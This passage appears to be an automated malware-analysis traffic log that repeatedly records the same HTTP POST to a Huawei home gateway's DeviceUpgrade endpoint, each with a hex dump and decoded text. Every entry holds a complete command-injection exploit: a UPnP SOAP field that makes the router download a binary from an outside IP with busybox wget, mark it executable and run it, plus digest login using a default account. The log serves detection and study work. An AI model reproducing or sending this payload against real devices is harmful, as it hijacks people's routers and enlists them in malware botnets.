61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 